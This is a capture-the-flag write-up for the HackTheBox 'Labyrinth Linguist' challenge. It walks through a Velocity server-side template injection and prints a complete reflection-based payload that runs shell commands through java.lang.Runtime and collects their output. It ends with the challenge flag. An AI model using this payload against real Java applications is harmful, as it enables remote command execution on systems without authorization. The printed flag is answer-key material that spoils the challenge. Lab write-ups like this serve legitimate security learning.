Labyrinth Linguist
Description
POINTS: 425 DIFFICULTY: easy
You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.
Solution
When rendering from string and instead of template, the success of SSTI grows.
From imports we see that Velocity is being used and Velocity SSTI exists.
For some reason payload by HackTricks didnt work, so I had to find a new one. I ended up with:
#set($class="tmp")
#set($str=$class.getClass().forName("java.lang.String"))
#set($chr=$class.getClass().forName("java.lang.Character"))
#set($ex=$class.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#set($res="")
#foreach($i in [1..$out.available()])
#set($char=$str.valueOf($chr.toChars($out.read())))
#set($res="$res$char")
#end
$res
Define $class
to be used as base variable for other classes. Get String and Character classes to use methods later, execute command with Runtime
class and read output of exec
. In for loop Im concatinating output into one string and displaying, otherwise it would show vertical line output and that's pain.
URLEncode the payload and send.
Get listing of files: ls /

Read flag:

Flag: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}
Last updated